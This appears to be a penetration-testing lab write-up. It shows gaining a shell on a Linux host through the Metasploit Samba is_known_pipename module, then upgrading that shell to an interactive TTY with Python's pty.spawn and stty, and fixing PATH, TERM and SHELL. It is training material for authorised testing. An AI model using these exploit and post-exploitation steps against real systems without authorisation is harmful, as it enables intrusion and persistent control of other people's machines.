Upgrading Non-Interactive Shells

Classification: Host & Network Penetration Testing / Post-Exploitation
Target: Linux host (Samba is_known_pipename)

1. Executive Summary

Many exploits return a limited, non-interactive shell (no job control, no tab completion, no su/sudo prompts). After exploiting Samba (is_known_pipename), we upgrade the shell to a fully interactive TTY with Python’s pty.spawn, then fix PATH, TERM and SHELL.

2. Foothold

nmap -sV <target>
use exploit/linux/samba/is_known_pipename
run

Nmap scans

is_known_pipename — non-interactive shell

3. Checking Available Shells

cat /etc/shells

/etc/shells

sh shell

4. Spawning an Interactive TTY (Python)

python -c 'import pty; pty.spawn("/bin/bash")'

python pty.spawn — interactive bash

5. Fixing the Environment

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

Setting PATH

export TERM=xterm
export SHELL=/bin/bash

Setting TERM and SHELL

Backgrounding with Ctrl+Z and running stty raw -echo; fg on the attacker further upgrades the TTY (full job control and arrow keys).

6. Notes

A full TTY is needed for interactive tools (su, ssh, sudo, text editors) and for clean privilege escalation — a core post-exploitation quality-of-life step.